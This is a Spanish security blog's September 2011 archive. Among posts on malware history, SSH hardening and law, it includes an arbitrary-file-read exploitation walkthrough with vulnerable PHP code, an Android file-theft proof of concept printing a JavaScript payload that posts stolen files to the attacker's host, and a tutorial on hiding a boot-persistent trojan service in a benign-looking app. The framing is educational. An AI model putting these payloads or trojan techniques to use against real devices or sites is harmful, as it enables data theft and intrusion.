30 sept 2011

Vota Flu a los premios Bitácoras 2k11

Buenas a todos, como muchos ya sabréis, nuestro blog fue nominado a los premios Bitácoras 2k11 en la categoría de Seguridad Informática, que entrega el periódico La Información a los mejores blogs de Internet. En los primeros resultados parciales, estuvimos nominados en un impresionante 3er puesto, lo que nos alegró mucho a toda la gente que estamos detrás de Flu Project. En el 2º parcial de las nominaciones hemos descendido un poco, y nos encontramos actualmente en 9º puesto (nada despreciable para los apenas 10 meses que lleva activo nuestro blog).

Si queréis votárnos en estos premios únicamente tenéis que pulsar en el botón que tenéis en el menú de la derecha, o acceder desde el siguiente link:

http://bitacoras.com/premios11/votar/83f93d875ce8814751a58203cb4c04efd8d2f86e

Una vez dentro, deberéis registraros o autenticaros simplemente con vuestras cuentas de Twitter o Facebook. Una vez estéis autenticados, veréis que automáticamente saldremos en el apartado de vuestra votación a mejor blog de seguridad informática y tan solo deberéis pulsar el botón "votar".

Como buenos g33ks, Pablo y yo nos hemos hecho un imán de nevera/coche al más puro estilo de elecciones políticas estadounidenses para pedir el voto :) Si nos votáis no os podremos ofrecer bajadas de impuestos (ya nos gustaría la verdad), pero si que prometemos no perder la esencia con la que comenzó Flu Project, y seguiremos día tras día, llueva, nieve o caigan chuzos de punta bloggeando, contando nuestras experiencias y aprendiendo con vosotros :)

 

Saludos!

29 sept 2011

Un repaso a la historia del Malware (VI de VI)

 

Buenas a todos, hoy finalizaremos esta cadena de posts analizando la década de los 2000, marcada por la explosión de la información masiva en Internet, blogs y redes sociales, web 2.0 y 3.0, etc. Este cambio en la manera de ver la informática provocó que el malware también se adaptara al uso de Internet.

En el año 2000 aparece el generador de gusanos VBSWG (Visual Basic Script Worm Generator), que dio lugar a algunos worms importantes, como por ejemplo el gusano "Anna Kournikova" que infectó a la NASA.

Este mismo año nació otro gusano, “ILOVEYOU”, que logró infectar millones de máquinas a través de correos electrónicos, "Liberty", un troyano para PalmOs y "Stream", que en Windows 2000 dividía un archivo en ADS (NTFS).

En 2001 aparece el primer malware escrito en PHP, "Pirus". También se desarrollaron gusanos importantes para Linux, como "Ramen" y "Lion".

De este mismo año son también "BadTrans", que se propagaba a través del Microsoft Outlook, "CodeRed" que se propaga a través de servidores IIS 5.0.

Otros malware importantes del año 2001 fueron Elkern, Sadmind, SirCam y Nimda.

En 2002 se desarrolló LFM, el primer malware para atacar archivos SWF. También se generalizó el gusano "Spida" que se aprovechaba de los servidores SQL de Microsoft cuya cuenta de administrador (SA) por defecto tenía contraseña en blanco.

Es destacable también el gusano "Benjamin", que se reproducía a través del programa P2P, Kazaa

En 2003, el gusano Slammer que explotaba una vulnerabilidad del servidor Microsoft SQL, logró infectar en solo 10 minutos el 90% de las máquinas vulnerables. Otro malware destacable de este año fue "Blaster", y algunos "Agobot" o "Rbot" que dieron lugar a las primeras botnets.

En el año 2004 aparece Mydoom, este gusano se caracterizaba porque podía propagarse tanto por email como por la red Kazaa, permitiendo el control de los computadores infectados. También aparece "Brador" un troyano para Windows CE y "MP3Concept", el primer troyano para MAC OS X.

Sobre la mitad de esta década, el malware comenzó a ser uno de los negocios mas rentables para temas de banca, y comenzaron a surgir multitud de variantes enfocadas al robo de datos bancarios, sobre todo de zonas del este de Europa.

En 2006 destaca Stardust que infectaba macros de los paquetes OpenOffice y Staroffice y Leap otro malware que afecta a Mac OS X.

En 2008 aparece el gusano "Conficker" que explotaba una vulnerabilidad de los sistemas Windows.

En el año 2010, se ha creado por el momento un 34% de todo el malware que se ha desarrollado en la historia, un dato importante.

A mediados de año se descubre "Stuxnet", gusano que afecta a equipos con Windows y es capaz de reprogramar sistemas industriales SCADA pudiendo afectar a infraestructuras críticas (centrales nucleares, depuradoras, etc.)

En Diciembre de 2010, nace el troyano Flu como una herramienta libre y educativa para formar en materia de seguridad y servir en auditoría de seguridad. Y un mes más tarde, en Enero de 2011, nace su variante Flu-AD, diseñada especialmente para colaborar con las fuerzas de seguridad para combatir los casos de cibergrooming en Internet.

Con Flu finalizamos esta cadena de artículos, esperamos que os haya gustado.

 

Saludos!

 
 

Un repaso a la historia del Malware (I de VI)

Un repaso a la historia del Malware (II de VI)

Un repaso a la historia del Malware (III de VI)

Un repaso a la historia del Malware (IV de VI)

Un repaso a la historia del Malware (V de VI)

Un repaso a la historia del Malware (VI de VI)

 

28 sept 2011

Source Code Disclosure

SCD o Source code disclosure, es una vulnerabilidad que permite la lectura de ficheros que se encuentren en el sistema víctima,  debido a errores en la programación de páginas que realizan descargas de archivos. Esto se da debido a que no se hace un conveniente filtrado de los datos que llegan  del cliente, permitiéndonos obtener cualquier fichero del cual conozcamos su ruta dentro del servidor.

Un ejemplo de un código vulnerable es el siguiente:

<?php$f = $_GET["f"];header("Content-type: application/octet-stream");header("Content-Disposition: attachment; filename=\"$f\"\n");$fp=fopen("$f", "r");fpassthru($fp);?>

En él se observa cómo se insertan los datos directamente dentro de la función fopen, sin ningún tipo de validación o verificación, ocasionando que el fichero sea descargado sin inconveniente.

A continuación presento la explotación de este ataque en una página vulnerable. Los datos fueron modificados para proteger el sitio original.

Se tiene la siguiente ruta: www.ejemplo.com/download.php?id=archivos.pdf

En ella, la variable id recibe el archivo a descargar, en este caso archivos.pdf, reemplazamos este documento por el nombre de fichero o página que queramos obtener, para este ejemplo, el objetivo es encontrar las credenciales de conexión de la base de datos, para ello le damos como valor a la variable id el fichero download.php, como se muestra en la figura 1.

 

[caption id="attachment_4557" align="aligncenter" width="473" caption="Figura 1 Descarga del fichero "][/caption]

En la figura 2 se presenta el código del archivo, brindándonos información adicional, como lo es el fichero con_str.php, el cual podría ofrecernos datos sensibles, puesto que es requerido al cargar la página, pudiendo contener los datos de la conexión.  A continuación, procedemos a su descarga, figura 3.

 

[caption id="attachment_4560" align="aligncenter" width="482" caption="Figura 2 Código fuente fichero download.php"][/caption]

 

[caption id="attachment_4562" align="aligncenter" width="475" caption="Figura 3 Descarga del fichero con_str.php"][/caption]

Como se dijo anteriormente, el fin principal de la explotación de esta vulnerabilidad es tener acceso a documentos existentes en el servidor objetivo, para este caso, el nuestro, era conseguir las credenciales que nos permitirán tener acceso a la base de datos. Con esta información en nuestras manos solo nos faltará acceder como un usuario legítimo al sistema. Figura 4 y 5.

 

[caption id="attachment_4565" align="aligncenter" width="477" caption="Figura 4 Archivo de conexión de la base de datos"][/caption]

 

[caption id="attachment_4566" align="aligncenter" width="482" caption="Figura 5 Conectándose a la base de datos"][/caption]

Técnica muy interesante, ¿y vosotros qué opináis?

27 sept 2011

PoC: Robar archivos de Android con Metasploit, un folio y un poco de salero

Buenas a todos, hace varias semanas, en concreto una antes del congreso No cON Name, mientras estaba preparándolo con Pablo, un amigo me enviaba por Twitter el siguiente artículo, en el que explicaban como mediante un sencillo código QR con una URL que redireccionaba un terminal móvil (con Android) a una IP y un Puerto donde se encontraba Metasploit escuchando, era posible recuperar información del móvil. Cómo me resultó curiosa la idea me dispuse a realizar una PoC.

Es curioso pensar que gracias a la tecnología actual con una simple hoja de papel (que contendrá el código QR) es posible hackear un terminal para obtener datos del mismo. Esto abre la puerta a los ingenieros sociales, que pueden utilizar todo tipo de tretas para, por ejemplo, conseguir información de móviles de menores, o en el caso de hoy, dándole un poco de humor al asunto, de chicas guapas (para demostrar lo que no se debe hacer, guiño guiño =)).

Todo lo que veréis a continuación es una prueba de concepto realizada en un entorno controlado en local.

En primer lugar necesitaremos una herramienta que nos genere un código QR, tenéis muchas por Internet. A continuación generaréis un código QR que contenga la dirección IP de la máquina donde dejaréis escuchando metasploit por el puerto 80, en mi caso como estoy en una intranet, la 192.168.1.23.

En segundo lugar deberéis escribir en un folio un texto de gancho (Ingeniería Social en su máximo esplendor), para conseguir que las víctimas piquen el anzuelo, y utilicen su terminal móvil con Android para leer el código QR del folio. En nuestro caso, me he inventado una supuesta agencia de modelos que busca azafatas para un congreso :)

Como dato curioso, algunas aplicaciones móviles que decodifican códigos QR, no preguntan tras leer códigos que contienen una URL, si el usuario desea acceder a ellas realmente, y te redirigen directamente al Sitio Web, este es el caso de la aplicación ScanLife, que facilita aún más nuestra estrategia para conseguir que la victima visite nuestra IP.

A continuación os dejo una imagen con mi documento:

El siguiente paso será montar Metasploit para que quede escuchando en la IP 192.168.1.23 por el puerto 80, con el exploit para Android del que hablábamos. Para ello yo he utilizado una VM con Backtrack 5 R1.

Una vez lanzada la distro, ejecutaremos Metasploit desde una shell:

Ahora cargaremos el módulo de Android con el que lanzaremos el ataque y le indicamos que queremos robar el siguiente archivo del móvil (si queréis lanzar otro tipo de ataque podéis ver las distintas opciones con el comando "show options":

Indicamos al módulo que queremos que la víctima sea redirigida directamente a la raíz del servidor:

Y al puerto 80 (si no lo modificamos, por defecto está configurado en el 8080):

Ya solo nos falta arrancar el servidor con el exploit y esperar a una víctima:

Ahora toca realizar ingeniería social, repartiendo por las calles el panfleto de nuestra Agencia de Modelos Flu, buscando víctimas a las que robar sus datos.

Yo he sacrificado para la PoC mi HTC Desire, y he escaneado el código QR, en mi caso (como debería de ser en todas las APP que escaneen QR, aunque haya herramientas como ScanLife que se lo pasan por el forro) me preguntó el móvil antes de redireccionarme a la página sobre si quería realmente abrir el Sitio Web.

Tras aceptar la redirección, en el móvil pude ver una página Web totalmente blanca, cuya URL contenía gran cantidad de símbolos alfanuméricos. Me dispuse a editar el contenido del HTML con un editor que tengo en Android, y pude ver el siguiente código:

<html><body><script lang=javascript>var target_files = Array('system/etc/hosts');var results = new Array();function addField(form, name, value) {var hf = document.createElement('input');hf.setAttribute('type', 'hidden');hf.setAttribute('name', name);hf.setAttribute('value', value);form.appendChild(hf);}function uploadFiles(files) {var form = document.createElement('form');form.setAttribute('method', 'POST');form.setAttribute('action', 'http://192.168.1.23:80/q');var i = 0;for (var fn in files) {addField(form, 'f'+i, btoa(fn));addField(form, 'd'+i, files[fn]);i += 1;}document.body.appendChild(form);form.submit();}for (var fn in target_files) {fn = target_files[fn];xh = new XMLHttpRequest();xh.open('GET', fn, false);xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }xh.send();}uploadFiles(results);</script></body></html>

Si nos vamos ahora a la consola de Metasploit podremos ver como todo ha funcionado correctamente y ya he logrado obtener la información del móvil:

¿Creo que a partir de ahora os pensaréis dos veces antes de escanear un código QR desde el móvil verdad? }=P Últimamente veo mucho por el metro de Madrid, anuncios por las paredes de una conocida cadena de radio donde se publicitan mediante códigos QR, ¿será una estrategia para espiar las noticias que vamos a publicar en nuestros blogs? o eso solo ocurre en rtve... ;)

Saludos!

26 sept 2011

Curso de introducción a Android V (Flu-AD)

Después de haber pasado un par de semanas conociendo el API para manejar Wifi que proporciona Android, vamos a cambiar de tercio proponiéndonos como reto la migración de Flu a plataformas móviles.

Como todos sabemos, el proyecto Flu es un desarrollo orientado al control remoto de máquinas a través de un troyano. Nuestro objetivo principal será mantener la arquitectura cliente - servidor original de Flu, únicamente variando y adaptando la parte del servidor a dispositivos móviles Android.

La finalidad de todo esto es lograr exportar el potencial de la idea de Flu a un escenario completamente nuevo que puede aportar cosas muy interesantes, tantas, que necesitaremos de vuestras propuestas y colaboración para poder exprimir la idea al máximo.

Para el desarrollo de este proyecto seguiremos tres fases fundamentales:

  • Fase troyano: En esta fase se desarrollará y se explicará cómo introducir en una aplicación Android código "malicioso". Lo que se pretende con esto es generar una capa oculta al usuario, de forma que al ejecutar una aplicación (aparentemente inofensiva) se instale un servicio permanente cuyo fin sea ejecutar órdenes obtenidas de un cliente web.
  • Fase de lectura de órdenes: En esta fase se mostrará cómo se parsea contenido xml en Android, en concreto se parseará el código xml que generemos con la herramienta Flu.
  • Fase de ejecución de órdenes: En esta última fase veremos y definiremos qué órdenes podremos ejecutar en el teléfono móvil.

Empezando por la fase troyano, hoy mostraremos cómo construir un servicio permanente en Android  que se ejecute siempre que el usuario encienda su dispositivo móvil.

Un servicio (clase Service) es un proceso asociado a una aplicación que se usa generalmente para hacer tareas con las que el usuario no tiene interacción. Para entenderlo mejor, un ejemplo de servicio que podemos ver en nuestro teléfono móvil Android es el servicio de la aplicación whatsapp cuya tarea principal es comprobar si tenemos mensajes en el servidor dirigidos a nosotros.

Ahora vamos a crearnos nosotros uno. Creamos un nuevo proyecto Android con una clase principal Main que hará las funciones de aplicación benévola y lanzará nuestro servicio. La actividad Main vamos a dejarla, en términos de diseño, tal y como se nos ofrece al crear el proyecto, salvo por un par de líneas extra que lanzarán el servicio. El código de la actividad Main tendrá este aspecto:

Como podemos observar, creamos una instancia de la clase Intent con la particularidad de que la clase Trojan simplemente se dedicará a interceptar eventos. El evento que nos interesa interceptar, en este caso, es el de inicio o arranque del sistema operativo del dispositivo móvil. Una vez que un sistema Android ha iniciado envía una acción broadcast llamada android.intent.action.BOOT_COMPLETED, nuestro objetivo es interceptar dicho evento. Para interceptar eventos, debemos crearnos una clase que herede de BroadcastReceiver, que será la encargada de interceptar los eventos que indiquemos en el fichero AndroidManifest.xml. La clase Trojan que intercepta eventos tendrá este aspecto:

Dentro de esta clase aprovecharemos para lanzar un servicio que se ejecute temporalmente. La forma de lanzar un servicio es muy parecida a la de lanzar una nueva actividad, simplemente creamos una nueva instancia de Intent con la clase destino Servicio, e iniciamos dicho servicio mediante el método startService propio de la clase Context. La clase Servicio será distinta a una actividad normal, en vez de heredar de Activity heredaremos de Service.

Al heredar de Service debemos reescribir algunos métodos, en este caso nos interesan los métodos onCreate y onStart. Al crearse, el servicio entrará en el método onCreate donde le diremos que cree un Timer, que será el encargado de gestionar que la tarea del servicio se haga de forma periódica. En el método onStart, crearemos la tarea periódica TimerTask y se la pasaremos a nuestro timer para que la ejecute cada 30 segundos. En cada ejecución sacaremos un log en el depurador, de forma que podamos observar que el servicio se está ejecutando tal y como deseamos.

Todavía falta nos falta el último paso, indicar al AndroidManifest.xml el servicio, el broadcast receiver,  el evento a interceptar y los permisos necesarios. Nuestro fichero AndroidManifest.xml quedaría de la siguiente forma:

Como podemos ver, tenemos declarados nuestra actividad Main, el receiver Trojan registrado al evento android.intent.action.BOOT_COMPLETED de inicio del sistema, el servicio y los permisos para registrarse al evento de inicio del sistema.

Si nos fijamos, nuestro servicio no aparece en las aplicaciones activas del teléfono, pero sí que podremos encontrarlo en servicios en ejecución. Más adelante intentaremos que esto no ocurra, cambiando de estrategia o camuflándolo de alguna manera. Esperemos que esto os sirva ya que este esquema puede ser aplicable a muchos más escenarios del que aquí proponemos.

Como siempre, os adjunto el código.Saludos!!---Descarga Proyecto

 

===============================================================

Curso de introducción a Android (Instalación del Android SDK + Hello World)

Curso de introducción a Android II (Creando nuestra primera aplicación)

Curso de introducción a Android III (Escáner de redes WIFI)

Curso de introducción a Android IV (Crackeando redes Wifi)

Curso de introducción a Android V (Flu-AD)

===============================================================

 

25 sept 2011

Informe Flu - 38

Damos comienzo al resumen de la semana 38 de Flu. Disfrutad del resumen:Lunes 19 de SeptiembreMartes 20 de SeptiembreMiércoles 21 de SeptiembreJueves 22 de SeptiembreViernes 23 de SeptiembreSábado 24 de Septiembre 

24 sept 2011

Crea tu propia Flu-Mochila, gracias a Miriam

Buenas a todos, el pasado lunes os contábamos que durante la cena del congreso No cON Name 2011 conocimos a Miriam, una de las organizadoras, que nos sorprendió con una mochila muy chula con nuestra mascota Flu que se había hecho a partir de una de nuestras camisetas, en concreto las de la 2ª temporada que llevamos al congreso Rooted Con 2011.

 

Nos gustó tanto que Miriam se comprometió a escribir un pequeño manual paso por paso sobre como convertir las camisetas en Flu-Mochilas y aquí lo tenéis para los que os animéis :)

http://www.fluproject.hol.es/descargasDirectas/pdf/flu-mochila.pdf

Gracias Miriam, saludos!

23 sept 2011

Autenticación de SSH con clave pública usando PuTTYgen

Hola!

Muy buenas a todos/as!

Cuando configuramos un servidor SSH en nuestro servidor es bueno configurar algunas cosas para hacerlo un poco mas seguro y sencillo de administrar.

Una de las cosas que podemos configurar es acceder a los servidores con clave pública. Para que sea mas sencillo de crear y administrar crearemos las claves con PuTTYgen y lo configuraremos en el servidor para poder acceder.

Primero necesitaremos Putty

Una vez instalado abrimos PuTTYgen y le damos a Generar una nueva clave. Empezará a crear una clave mientras movemos el ratón. Ponemos un comentario y ponemos la clave a la clave pública con la que nos autenticaremos.

Guardamos la clave pública y la clave privada. Copiamos la clave pública al servidor.

En el servidor configuramos la clave para poder acceder

Creamos la carpeta de SSH

usuario@servidor: mkdir ~/.ssh

Asignamos los permisos a la carpeta

usuario@servidor: chmod 700 ~/.ssh

Ahora convertimos la clave que hemos creado con PuTTYgen a formato de clave SSH

usuario@servidor: ssh-keygen -if clave_publica > clave_publica_ssh

Ahora ya tenemos la clave en formato ssh, así que la copiaremos a las claves autorizadas que pueden acceder

usuario@servidor: cat clave_publica_ssh >> ~/.ssh/authorized_keys

Asignamos los permisos al fichero de claves autorizadas

usuario@servidor: chmod 600 ~/.ssh/authorized_keys

Ahora configuramos ssh para que sólo se pueda entrar mediante clave pública

usuario@servidor: nano /etc/ssh/sshd_config

Ahroa buscamos y sustituímos estos valores por los que dejo aquí

PermitRootLogin		noPasswordAuthentication	noUsePAM			no

Dejamos los valores en no y reiniciamos el servicio.

En Putty en el apartado de Data configuramos la clave privada poniendo el archivo .ppk que guardamos antes.

Y hasta aquí ya está todo.

Un saludo

 

22 sept 2011

Creando un AD-HOC con WPA2 en Windows 7

Hola!

Muy buenas a todos/as!

Con Windows 7 la vida se nos facilita a continuación muestro como se puede crear una red ad-hoc para poder compartir la conexión a Internet.

Buscamos el apartado de redes inalámbricas

Tal y como vemos en la imagen le damos a Agregar

Le damos a crear la red de Ad-hoc

Aquí te explica que es una red Ad-hoc y demás

Aquí configuramos la red, la contraseña

Y ahora se empezará a crear la red Ad-hoc

Ahora nos da un resumen de la red y, además nosa la posibilidad de compartir la conexión a Internet

Y se está compartiendo la conexión a Internet

Ahora cambiamos estas opciones para poder compartir la conexión a Internet.Y por fin ya tenemos el ad-hoc creado en Windows 7

 

21 sept 2011

Tácticas de guerra: Linux en tu pendrive

 

Una de las cosas que una persona, ya sea profesional o no de las tecnologías de la información, tiene que tener claro es que nunca se sabe dónde puede acabar, ni a qué máquinas se puede enfrentar. Por lo que es interesante disponer siempre de un pendrive con un live CD a mano. Incluso podríamos pensar que sería útil que esta herramienta esté lo más oculta posible, ¿por qué? nunca se sabe cuáles pueden ser nuestras intenciones, ni si alguien nos vigila. Cuando vamos a los exámenes de las certificaciones, sean cual sean, no nos dejan entrar con dispositivos móviles, ni cartera, pero... las llaves no hacen mal a nadie, sólo son llaves ¿o no? Pero si me doy una vuelta por el mercado chino, como Focalprice o DealExtreme, puedo encontrar llaves USB o pendrives con forma de llaves reales, las cuales puestas en tu llavero de casa pasa totalmente desapercibido.

Para ver el efecto os adjunto una imagen del pendrive, 4 o 8 GB por un precio bajo y con forma de llave, muy interesante... Bien, visto el tema desde el punto de vista de la ocultación al mundo de lo que uno puede albergar en su llave USB, pensemos y si en mi llave aparte de almacenar mis documentos, recomendable llevar la información sensible cifrada por si se perdiera, tengo todo un sistema operativo booteable, por ejemplo un Linux. Imaginaros el potencial de mi llave, pasa totalmente desapercibida y puedo montar un sistema operativo en segundos. ¿Para qué puedo utilizar esto? Bien, quizá en algún momento de tu vida te enfrentes a la necesidad de montar un sistema Linux para obtener el fichero SAM, o la posibilidad de obtener las contraseñas de una BIOS, por otro lado puede ser interesante para montar un entorno en el cual no se grabe nada y sea de 'usar y tirar'. Una de las cosas más interesantes es la posibilidad de cargar un linux para realizar el 'sticky keys', una técnica interesante para saltarse la pantalla de login de un sistema windows. Interesante también es la posibilidad de montar el sistema de ficheros, siempre y cuando este no esté cifrado, de un linux o windows y poder 'toquetear' documentos de otros usuarios, recordad que de esta manera se podría realizar un análisis forense 'casero'. Hay un sin fin de objetivos y desde el punto de vista de la seguridad es interesante poder tener un sistema booteable como Backtrack, Blackbuntu, Wifiway... ¿Qué elegís?

Creando el sistema booteable

La primera recomendación cuando se adquiere el USB es formatearlo en una sandbox, no vaya a ser que venga de China con regalo. No tiene porqué pasar nada, pero sabemos que en este mundo más vale prevenir que curar. Una vez la llave esté formateada podremos utilizar programas, como unetbootin, para eligiendo el archivo ISO nos prepare la llave para que nuestro sistema linux sea booteable de manera rápida y fácil.

¿Vosotros disponéis de vuestra táctica de guerra en un pendrive? Contarnos para que utilizaríais vuestro sistema booteable.

20 sept 2011

Diapositivas de nuestra ponencia en No cON Name 2011: "Técnicas oscuras para combatir la pederastia en Internet"

 

Hola a todos, en el post de hoy compartiremos con vosotros las diapositivas de la charla que ofrecimos en la No cON Name "Técnicas oscuras para combatir la pederastia en Internet". Podéis obtenerla desde los siguientes enlaces:

http://www.slideshare.net/jacalles/tcnicas-oscuras-para-combatir-la-pederastia-en-internet-no-con-name-2k11

Hemos actualizado una diapositiva para añadir una reforma del CP sufrida en 2010 en España, por la que se elimina el apartado 8 de la ley 189 (crimen organizado en materia de generación, venta, distribución y exhibición de material pornográfico infantil) y se añade el artículo 189 bis (que solo habla de multas). Además, gracias por el dato Andreu, se habla por primera vez de Cibergrooming a través del siguiente párrafo, en el que por desgracia, se siguen estableciendo penas muy cortas (de 3 años máximo o multa) cuando en Colombia por un delito como este hablaríamos de varias décadas de prisión más una multa:

Se añade un nuevo artículo 183 bis, que tendrá la siguiente redacción: «El que a través de Internet, del teléfono o de cualquier otra tecnología de la información y la comunicación contacte con un menor de trece años y proponga concertar un encuentro con el mismo a fin de cometer cualquiera de los delitos descritos en los artículos 178 a 183 y 189 [del que hablamos en nuestra ponencia], siempre que tal propuesta se acompañe de actos materiales encaminados al acercamiento, será castigado con la pena de uno a tres años de prisión o multa de doce a veinticuatro meses, sin perjuicio de las penas correspondientes a los delitos en su caso cometidos. Las penas se impondrán en su mitad superior cuando el acercamiento se obtenga mediante coacción, intimidación o engaño».

Ayer casualmente presentaron la noticia en los períodicos de que en Móstoles (mi ciudad) acababa de ser detenido un joven de 24 años que había violado a una chica también de Móstoles en un parque, y además, intentó mediante una red social contactar con ella haciendose pasar por el perfil falso de una chica. Como veis, por desgracia, el caso de éxito que presentamos de Colombia lo tenemos mucho más cerca de lo que podríamos pensar. ¿Qué opináis sobre la posibilidad de que herramientas como Flu-AD fuesen utilizadas para acelerar los casos y así evitar este tipo de abusos?

Os dejamos también la entrevista que nos hizo Bea, de GlobbTV tras nuestra charla:

Para los que no pudistéis asistir a la No cON Name de este año, hemos llevado una serie de camisetas especiales para el congreso que llevan el hashtag de Twitter del congreso y una serie de tazas (por el momento agotadas, si os interesáis por ellas varios, volveremos a realizar otro pedido). Si estáis interesados en las camisetas (o en otros de los productos que hemos hecho), podéis enviarnos un email a info@flu-project.com, y ya veremos como os las hacemos llegar o quedamos con vosotros para entregároslas en algún evento o por Madrid ;)

Para finalizar ya, aunque se que los informáticos no somos muy fan de las leyes pero para los amantes de la "prosa legal" os dejamos a continuación el [arduo] texto completo en el que se explican los cambios aplicados en 2010 al antiguo CP del año 2003 en lo referente a crímenes de abuso sexual a menores de edad e incapaces:

Se modifica el artículo 182, que queda redactado como sigue: «1. El que, interviniendo engaño, realice actos de carácter sexual con persona mayor de trece años y menor de dieciséis, será castigado con la pena de prisión de uno a dos años, o multa de doce a veinticuatro meses. 2. Cuando los actos consistan en acceso carnal por vía vaginal, anal o bucal, o introducción de miembros corporales u objetos por alguna de las dos primeras vías, la pena será de prisión de dos a seis años. La pena se impondrá en su mitad superior si concurriera la circunstancia 3.ª, o la 4.ª, de las previstas en el artículo 180.1 de este Código.» Cuadragésimo quinto. Se añade un nuevo Capítulo II bis al Título VIII del Libro II del Código Penal, denominado «De los abusos y agresiones sexuales a menores de trece años», que comprende los artículos 183 y 183 bis. Cuadragésimo sexto. Se modifica el artículo 183, que queda redactado como sigue: «1. El que realizare actos que atenten contra la indemnidad sexual de un menor de trece años será castigado como responsable de abuso sexual a un menor con la pena de prisión de dos a seis años. 2. Cuando el ataque se produzca con violencia o intimidación el responsable será castigado por el delito de agresión sexual a un menor con la pena de cinco a diez años de prisión. 3. Cuando el ataque consista en acceso carnal por vía vaginal, anal o bucal, o introducción de miembros corporales u objetos por alguna de las dos primeras vías, el responsable será castigado con la pena de prisión de ocho a doce años, en el caso del apartado 1 y con la pena de doce a quince años, en el caso del apartado 2. 4. Las conductas previstas en los tres números anteriores serán castigadas con la pena de prisión correspondiente en su mitad superior cuando concurra alguna de las siguientes circunstancias: a) Cuando el escaso desarrollo intelectual o físico de la víctima la hubiera colocado en una situación de total indefensión y, en todo caso, cuando sea menor de cuatro años. b) Cuando los hechos se cometan por la actuación conjunta de dos o más personas. c) Cuando la violencia o intimidación ejercidas revistan un carácter particularmente degradante o vejatorio. d) Cuando, para la ejecución del delito, el responsable se haya prevalido de una relación de superioridad o parentesco, por ser ascendiente, o hermano, por naturaleza o adopción, o afines, con la víctima. e) Cuando el autor haya puesto en peligro la vida del menor. f) Cuando la infracción se haya cometido en el seno de una organización o de un grupo criminales que se dedicaren a la realización de tales actividades. 5. En todos los casos previstos en este artículo, cuando el culpable se hubiera prevalido de su condición de autoridad, agente de ésta o funcionario público, se aplicará, además, la pena de inhabilitación absoluta de seis a doce años.» Cuadragésimo séptimo. Se añade un nuevo artículo 183 bis, que tendrá la siguiente redacción: «El que a través de Internet, del teléfono o de cualquier otra tecnología de la información y la comunicación contacte con un menor de trece años y proponga concertar un encuentro con el mismo a fin de cometer cualquiera de los delitos descritos en los artículos 178 a 183 y 189, siempre que tal propuesta se acompañe de actos materiales encaminados al acercamiento, será castigado con la pena de uno a tres años de prisión o multa de doce a veinticuatro meses, sin perjuicio de las penas correspondientes a los delitos en su caso cometidos. Las penas se impondrán en su mitad superior cuando el acercamiento se obtenga mediante coacción, intimidación o engaño». Cuadragésimo octavo. Los actuales apartados 2 y 3 del artículo 187 pasan a ser apartados 3 y 4, se modifica el apartado 1 y se añaden dos nuevos apartados 2 y 5, quedando redactados como sigue: «1. El que induzca, promueva, favorezca o facilite la prostitución de una persona menor de edad o incapaz será castigado con las penas de uno a cinco años y multa de doce a veinticuatro meses. La misma pena se impondrá al que solicite, acepte u obtenga a cambio de una remuneración o promesa, una relación sexual con persona menor de edad o incapaz. 2. El que realice las conductas descritas en el apartado 1 de este artículo siendo la víctima menor de trece años será castigado con la pena de prisión de cuatro a seis años. 5. Las penas señaladas se impondrán en sus respectivos casos sin perjuicio de las que correspondan por las infracciones contra la libertad o indemnidad sexual cometidas sobre los menores e incapaces.» Cuadragésimo noveno. El actual apartado 4 pasa a ser apartado 5 y se modifican los apartados 2, 3 y 4 del artículo 188, que quedan redactados como sigue: «2. Si las mencionadas conductas se realizaran sobre persona menor de edad o incapaz, para iniciarla o mantenerla en una situación de prostitución, se impondrá al responsable la pena de prisión de cuatro a seis años. 3. El que lleve a cabo la conducta prevista en el apartado anterior, siendo la víctima menor de trece años será castigado con la pena de prisión de cinco a diez años. 4. Se impondrán las penas previstas en los apartados anteriores en su mitad superior, en sus respectivos casos, cuando concurra alguna de las siguientes circunstancias: a) Cuando el culpable se hubiera prevalido de su condición de autoridad, agente de ésta o funcionario público. En este caso de aplicará, además, la pena de inhabilitación absoluta de seis a doce años. b) Cuando el culpable perteneciere a una organización o grupo criminales que se dedicaren a la realización de tales actividades. c) Cuando el culpable hubiere puesto en peligro, de forma dolosa o por imprudencia grave, la vida o salud de la víctima.» Quincuagésimo. Se suprime el apartado 8 del artículo 189 y se modifican el primer párrafo y las letras a) y b) del apartado 1 y el primer párrafo del apartado 3, que quedan redactados como sigue: «1. Será castigado con la pena de prisión de uno a cinco años: a) El que captare o utilizare a menores de edad o a incapaces con fines o en espectáculos exhibicionistas o pornográficos, tanto públicos como privados, o para elaborar cualquier clase de material pornográfico, cualquiera que sea su soporte, o financiare cualquiera de estas actividades o se lucrare con ellas. b) El que produjere, vendiere, distribuyere, exhibiere, ofreciere o facilitare la producción, venta, difusión o exhibición por cualquier medio de material pornográfico en cuya elaboración hayan sido utilizados menores de edad o incapaces, o lo poseyere para estos fines, aunque el material tuviere su origen en el extranjero o fuere desconocido. 3. Serán castigados con la pena de prisión de cinco a nueve años los que realicen los actos previstos en el apartado 1 de este artículo cuando concurra alguna de las circunstancias siguientes: […] 8. (Suprimido)» Quincuagésimo primero. Se añade un artículo 189 bis, que tendrá la siguiente redacción: «Cuando de acuerdo con lo establecido en el artículo 31 bis una persona jurídica sea responsable de los delitos comprendidos en este Capítulo, se le impondrán las siguientes penas: a) Multa del triple al quíntuple del beneficio obtenido, si el delito cometido por la persona física tiene prevista una pena de prisión de más de cinco años. b) Multa del doble al cuádruple del beneficio obtenido, si el delito cometido por la persona física tiene prevista una pena de prisión de más de dos años no incluida en el anterior inciso. c) Multa del doble al triple del beneficio obtenido, en el resto de los casos. Atendidas las reglas establecidas en el artículo 66 bis, los jueces y tribunales podrán asimismo imponer las penas recogidas en las letras b) a g) del apartado 7 del artículo 33.»

19 sept 2011

Memorias de la No cON Name 2011

El pasado Miércoles 14 de Septiembre de 2011 se dio lugar en Barcelona una nueva edición del congreso sobre seguridad informática No cON Name. El congreso contó con 2 días de formaciones con profesionales de la talla de Juan Garrido (SilverHack), Sergio González (Anelkaos), Ricardo J.Rodriguez (el cual fue un placer desvirtualizar y charlar con él), Jordi Linares (con un curso muy interesante sobre forense en Windows).

Llegó el día de las ponencias, abriendo Iñaki Rodriguez con su Kung Fuzz, después llegó el turno de nuestro ya amigo Ricardo dando una visión nueva sobre como diseñar sistemas seguros utilizado UML. Estuvimos hablando con él en el Coffee Break, sobre nuevas posibilidades y vías de trabajo. Ricardo cuando compraste la taza, ya te convertiste en uno de los nuestros :P, ¡estás inFLUenciado! Que no infectado… ;)

